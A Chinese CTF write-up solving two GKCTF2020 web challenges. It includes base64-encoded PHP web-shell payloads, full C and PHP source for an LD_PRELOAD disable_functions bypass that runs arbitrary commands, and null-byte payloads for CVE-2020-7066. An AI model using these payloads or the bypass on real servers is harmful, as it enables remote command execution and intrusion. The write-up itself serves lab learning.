[GKCTF2020]-web部分題解

[GKCTF2020]CheckIN

打開網頁是一串PHP代碼

<title>Check_In</title> 
<?php  
highlight_file(__FILE__); 
class ClassName 
{ 
        public $code = null; 
        public $decode = null; 
        function __construct() 
        { 
                $this->code = @$this->x()['Ginkgo']; 
                $this->decode = @base64_decode( $this->code ); 
                @Eval($this->decode); 
        } 

        public function x() 
        { 
                return $_REQUEST; 
        } 
} 
new ClassName();

剛開始還以爲是反序列化的題目,但是仔細想來想去這裏也沒得反序列化的函數,就有些懵逼,開始分析代碼
這裏首先定義了一個類ClassName
類裏面有兩個變量,整的挺花裏胡哨,首先類調用了一個x函數,x函數返回的是我們傳入的get和post請求,然後將$_REQUEST(php中$_REQUEST可以獲取以POST方法和GET方法提交的數據)數組裏的以Ginkgo爲鍵名的值賦值給類裏的code變量
@在這裏是個什麼意思呢?(@表示@符號後的語句如果有錯誤會忽略,不會提示,因爲php運行時會有些錯誤,一些提醒的錯誤,如果用@那麼這條語句有錯誤的也不會有提示),然後將類中的code變量的值進行base64解碼賦值給類中的decode變量,最後eval函數執行decode中的值。
整那麼多花裏胡哨的,最終想表達的意思就是

<?php
$code = $_REQUEST['Ginkgo'];
@eval(base64_decode($code));
?>

這一看就是個命令執行
首先執行個phpinfo看看?

/?Ginkgo=cGhwaW5mbygpOw==

PHP版本7.3.18
那麼下一步當然是看disable_functions啦
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-SM3PBrJY-1590886394693)(media/15903143058861/15903154682281.jpg)]

可以看到能用的全給禁了,不過還有個assert函數和eval函數
這裏給兩個payload:

echo base64_encode('$a="assert";$a(eval($_POST["a"]));');
echo base64_encode('eval($_POST["a"]);');

既然有shell了
那麼蟻劍上
注:這裏蟻劍自帶base64加密
在這裏插入圖片描述

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-5v3UBUiw-1590886394695)(media/15903143058861/15903158230274.jpg)]
看這個readflag似曾相識
拖到IDA中 F5查看僞代碼
在這裏插入圖片描述
這裏可以cat /flag,那麼我們看看終端。
打開終端cat /flag
在這裏插入圖片描述
用不了 那就繞唄
引進一個知識點

bypass-disable-functions

bypass_disable_functions這位大佬講的很清晰
簡而言之就是編寫一個和系統同名的函數,使之在調用系統真正函數之前調用編寫的惡意函數,達到繞過disable_functions
那麼LD_PRELOAD又是什麼呢?

LD_PRELOAD,是個環境變量,用於動態庫的加載,動態庫加載的優先級最高,一般情況下,其加載順序爲LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib。程序中我們經常要調用一些外部庫的函數,以open()和execve()爲例,如果我們有個自定義這兩函數,把它編譯成動態庫後,通過LD_PRELOAD加載,當程序中調用open函數時,調用的其實是我們自定義的函數
但是我們又需要寫入到環境變量,那麼php中的putenv函數可以解決我們的問題

bypass.c

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ; //獲取環境變量

__attribute__ ((__constructor__)) void preload (void)
{
    
    const char* cmdline = getenv("EVIL_CMDLINE");
    //獲取EVIL_CMDLINE的值
    int i;
    //從環境變量中遍歷“LD_PRELOAD”的位置,並將其值設爲NULL。
    //從而使下面的system()正常執行。
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // 執行命令
    system(cmdline);
}

編譯

gcc -shared -fPIC bypass.c -o bypass_x64.so

bypass.php

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline); //設置EVIL_CMDLINE環境變量
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);  //加載惡意動態庫
    mail("", "", "", "");  //利用mail函數觸發惡意函數,跳轉至__attribute__ ((__constructor__))修飾的函數。
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 
    unlink($out_path);
?>

這兩個文件需要上傳至/tmp/目錄下
故最終payload:

http://833117ab-80b8-49a9-816f-0bafbb279f2a.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX0dFVFsiYSJdKTs=&a=include(%27/tmp/bypass.php%27);&cmd=/readflag&outpath=/tmp/123.txt&sopath=/tmp/bypass_x64.so

[GKCTF2020]cve版簽到

hint:cve-2020-7066
baidu查了一下發現是get_headers($url)函數中的內容可以被%00截斷
而題目要求只能訪問*.ctfhub.com
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-u9jWGWLu-1590886394698)(media/15903143058861/15903730568726.jpg)]
故我們可以構造payload:

/?url=http://127.0.0.1%00www.ctfhub.com

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-UO93pgI5-1590886394698)(media/15903143058861/15903731574844.jpg)]
end必須是123
那麼構造

/?url=http://127.0.0.123%00www.ctfhub.com

即可得到flag

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章